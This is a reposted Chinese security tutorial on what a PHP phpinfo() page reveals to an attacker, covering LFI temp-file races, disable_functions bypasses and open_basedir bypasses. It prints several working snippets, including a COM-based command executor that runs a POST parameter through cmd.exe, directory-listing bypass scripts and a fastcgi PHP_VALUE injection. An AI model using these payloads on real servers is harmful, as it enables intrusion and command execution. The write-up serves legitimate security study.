您当前的位置:首页 > 电脑百科 > 安全防护 > 服务器/网站

phpinfo信息利用

时间:2020-01-06 10:28:12  来源:  作者:

干货技巧 | phpinfo信息利用

 

一.phpinfo页面利用

system

干货技巧 | phpinfo信息利用

 

获取具体版本,可以用来提权

extension_dir

干货技巧 | phpinfo信息利用

 

php扩展的路径,图省事没用lamp包有点捞…(这里还是说下linux不推荐用phpstudy,很多linux装了phpstudy系统会崩)

http_x_real_ip

直接获取真实ip,无视代理、cdn。本地环境并没有发现这个参数,应该是ini配置问题。

顺便说下HTTP_X_FORWARDED_FOR的区别,HTTP_X_FORWARDED_FOR会记录代理过程且可伪造

 

二.Web根目录

 

干货技巧 | phpinfo信息利用

 

找不到路径,报错/找phpinfo常规操作了。

临时文件

phpinfo-lfi getshell 很老的洞了,看到学习下

像phpinfo页面post数据可以在_FILES[“file1”]中看到上传的临时文件,先构造简单上传页面。

干货技巧 | phpinfo信息利用

 

其中PHP引擎对enctype=”multipart/form-data”这种请求的处理过程如下:

1、请求到达2、创建临时文件,并写入上传文件的内容3、调用相应PHP脚本进行处理,如校验名称、大小等4、删除临时文件
干货技巧 | phpinfo信息利用

 

这里可以看到,临时文件可以成功写入,配合lfi即可getshell,不过临时文件很块就会被删除,利用分块传输竞争时间绕过

https://www.insomniasec.com/downloads/publications/phpinfolfi.py

利用脚本,不过我本地测试失败了

这里说下这个漏洞感觉还是比较鸡肋(条件有点苛刻)

1、phpinfo2、开启了文件缓存3、没有gpc等函数限制4、开启lfi,有包含点

allow_url_include

文件包含有多重要自不必多说。

asp_tags

干货技巧 | phpinfo信息利用

 

php标签有四种格式,这个是asp风格的,默认不开启。可以上传.haccess/user.ini 绕过(php7移除)

 

disable_functions

禁用函数列表:

(dl)execsystempassthrupopenproc_openpcntl_execshell_exec

 

绕过方式:

1、记得Seay代码审计里说过dl()函数(需要enable_dl开启)

<?php//PHP5调用方法dl('../../../../../home/Apache/htdocs/php5.so');spiderbiguan('uname -a');//调用函数?>

2、编译php时如果加了-–enable-pcntl选项,就可以使用pcntl_exec()来执行命令。PHP>4.2.0

<?php pcntl_exec(“/bin/bash”, array(“/tmp/b4dboy.sh”));?>#/tmp/b4dboy.sh#!/bin/bashls -l /

3、利用ImageMagick漏洞绕过disable_function(应该是要组件与扩展都有具体测试)

https://www.waitalone.cn/imagemagic-bypass-disable_function.html

4、利用环境变量LD_PRELOAD来绕过

http://www.vuln.cn/6784的确是一种好方法,利用起来也没有那么繁琐。

5、win系统组件

<?php$command=$_POST[a];$wsh = new COM('WScript.shell'); // 生成一个COM对象$exec = $wsh->exec('cmd.exe /c '.$command); //调用对象方法来执行命令$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput?>

 

magic_quotes_gpc

魔术引号,它是用来实现addslshes()和stripslashes()这两个功能的,对SQL注入进行防御。

顺便提一嘴用了addslshes()除非是有编码问题要不然是不存在注入的。

 

open_basedir

将用户可操作的文件限制在某目录下

干货技巧 | phpinfo信息利用

 

绕过方式:

linux下绕过:

https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html

(大佬博客我这里也复现下)

1、利用DirectoryIterator + Glob 直接列举目录(linux)

<?phpprintf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));$file_list = array();// normal files$it = new DirectoryIterator("glob:///*");foreach($it as $f) {  $file_list[] = $f->__toString();}// special files (starting with a dot(.))$it = new DirectoryIterator("glob:///.*");foreach($it as $f) {  $file_list[] = $f->__toString();}sort($file_list);foreach($file_list as $f){    echo "{$f}<br/>";}?>
干货技巧 | phpinfo信息利用

 

2、realpath列举目录

利用realpath对传入路径的回显不同加上通配符进行列举

本地环境linux就没有进行测试。

<?phpini_set('open_basedir', dirname(__FILE__));printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));set_error_handler('isexists');$dir = 'd:/test/';$file = '';$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';for ($i=0; $i < strlen($chars); $i++) {  $file = $dir . $chars[$i] . '<><';  realpath($file);}function isexists($errno, $errstr){  $regexp = '/File((.*)) is not within/';  preg_match($regexp, $errstr, $matches);  if (isset($matches[1])) {    printf("%s <br/>", $matches[1]);  }}?>

首先设置open_basedir为当前目录,并枚举d:/test/目录下的所有文件。

将错误处理交给isexists函数,在isexists函数中匹配出目录名称,并打印出来。

 

3、SplFileInfo::getRealPath列举目录

不需要考虑open_basedir开不开起。

<?phpini_set('open_basedir', dirname(__FILE__));printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));$basedir = 'D:/test/';$arr = array();$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';for ($i=0; $i < strlen($chars); $i++) {  $info = new SplFileInfo($basedir . $chars[$i] . '<><');  $re = $info->getRealPath();  if ($re) {    dump($re);  }}function dump($s){  echo $s . '<br/>';  ob_flush();  flush();}?>

还有GD库imageftbbox/imagefttext列举目录bindtextdomain暴力猜解目录,基本也都是要暴力破解,效率比较低。

还有这篇文章php5全版本绕过open_basedir读文件脚本给跪了

https://www.leavesongs.com/bypass-open-basedir-readfile.html

 

三.扩展

 

imagick

这个的远程执行

libxml

libxml 2.9以前的版本默认支持并开启了外部实体的引用,服务端解析用户提交的 xml 文件时未对 xml 文件引用的外部实体(含外部普通实体和外部参数实体)做合适的处理,会导致XXE。

 

memcache

Memcache未授权访问漏洞利用及修复:

http://blog.nsfocus.net/memcache-unauthorized-access-exploit/

 

redis

这个不多说了……

session

xdebug

GOPHER

利用 Gopher 协议拓展攻击面:

https://blog.chaitin.cn/gopher-attack-surfaces/

看了下尝试复现没有成功,我的理解是首先要支持gopher协议,然后找到一个能执行curl会话的参数,构造gopher格式的payload以post格式去执行反弹shell。(并没有看懂是怎么利用的)

 

fastcgi

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#php-fpmfastcgi

通过fastcgi传入环境变量,设置

'PHP_VALUE': 'auto_prepend_file =php://input','PHP_ADMIN_VALUE': 'allow_url_include = On'

将执行的代码放在body中执行任意代码。

 

四.总结

从刚接触安全的时候就知道phpinfo里有很重要的信息,然而就在前几天我还直接提了个信息泄露(还撞了,丢脸),复现完真的学到很多。

 

参考链接:

https://www.freebuf.com/articles/web/79830.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0151653.html

https://bbs.ichunqiu.com/thread-3234-1-1.html

作者:HACK-Learn 转载自 https://www.secpulse.com/archives/117762.html

原文地址

作者Phyb0x,zeroyu

http://zeroyu.xyz/2018/11/13/what-phpinfo-can-tell-we/



Tags:phpinfo   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
一.Phpinfo页面利用system 获取具体版本,可以用来提权extension_dir php扩展的路径,图省事没用lamp包有点捞&hellip;(这里还是说下linux不推荐用phpstudy,很多linux装了phpst...【详细内容】
2020-01-06  Tags: phpinfo  点击:(150)  评论:(0)  加入收藏
PHP为我们提供了一个内置函数phpinfo(),它可以提供有关系统中安装的PHP版本和PHP配置的详细信息。那么如何使用phpinfo()函数?下面本篇文章就来带大家了解一下phpinfo()函数的...【详细内容】
2019-11-01  Tags: phpinfo  点击:(75)  评论:(0)  加入收藏
▌简易百科推荐
在最近的一波攻击中,黑客利用多个插件中未修补的漏洞攻击了 160 万个 WordPress 网站。 易受攻击的插件对 WordPress 网站产生了的巨大攻击数据。 Wordfence 最近发现 WordPr...【详细内容】
2021-12-16  蚁安    Tags:WordPress   点击:(9)  评论:(0)  加入收藏
事件起因从安全分析系统里面发现一条带有病毒的下载,然后针对这条记录展开了一系列的分析分析过程1.登录到被感染服务器,查看系统状况,hadoop 这个用户在 2020/6/18 20:32 从这...【详细内容】
2021-11-23  Z2990Lig    Tags:SSH   点击:(32)  评论:(0)  加入收藏
1、除了服务器需要用的一些正规软件,其它都不要安装。2、在用户中把administrator改名,这样做的目的是即使对方暴破了我们的密码用户名也不容易猜住,相当于又加了一道关卡。...【详细内容】
2021-11-01  IT小哥吧    Tags:服务器   点击:(37)  评论:(0)  加入收藏
账户安全(1)更名administrator本地用户并禁用guest账户步骤:点击“开始”,找到“管理工具”,点击里面的“计算机管理”,找到“本地用户和组” (2)设定账户锁定策略尝试5次失败...【详细内容】
2021-10-12  Kali与编程  今日头条  Tags:Windows主机   点击:(62)  评论:(0)  加入收藏
本文主要介绍以Microsoft的Windows Server 2019 ,版本:Datacenter(Domain Controller)安全加固保护.企业随着规模不断扩大,业务增多,信息安全建设是企业里一条只有重点没有终点...【详细内容】
2021-09-17  Vireshark    Tags:服务器安全   点击:(64)  评论:(0)  加入收藏
目录常见共享命令IPC$IPC$的利用条件1:开启了139、445端口2:目标主机开启了IPC$共享3:IPC连接报错IPC空连接空连接可以做什么?(毫无作用)IPC$非空连接IPC$非空连接可以做什么?di...【详细内容】
2021-09-16  网络说安全    Tags:系统安全   点击:(86)  评论:(0)  加入收藏
昨天一个老哥找到我,说他的服务器这几天一直被CC攻击,问我这边有没有什么解决的方法? 近年来,网络攻击事件越来越频繁,最常见的就是CC攻击和DDOS攻击,主要的区别就是针对的对象不...【详细内容】
2021-09-10  小蚁GDRAGON    Tags:cc攻击   点击:(58)  评论:(0)  加入收藏
网站页面上的登录操作,通常都是输入帐号密码,传输至网站后台验证。在网站页面、数据传输中,通过技术手段,都可以得到用户输入的信息,并可以修改,从而发起网络攻击。典型的如:使用自...【详细内容】
2021-08-30  修丹道的程序猿    Tags:登录方式   点击:(62)  评论:(0)  加入收藏
网络安全研究人员披露了一类影响主要 DNS 即服务 (DNSaaS) 提供商的新漏洞,这些漏洞可能允许攻击者从企业网络中窃取敏感信息。基础设施安全公司 Wiz 的研究人员 Shir Tamar...【详细内容】
2021-08-12  零日时代    Tags:漏洞   点击:(66)  评论:(0)  加入收藏
001暴力破解1. 指定用户名爆破密码传统型爆破思路,用户名可以通过猜测或者信息收集获得。猜测:admin、网站域名等信息收集:新闻发布人、whoami等2. 指定密码爆破用户名如果是后...【详细内容】
2021-07-23  KaliMa  今日头条  Tags:登陆框   点击:(85)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条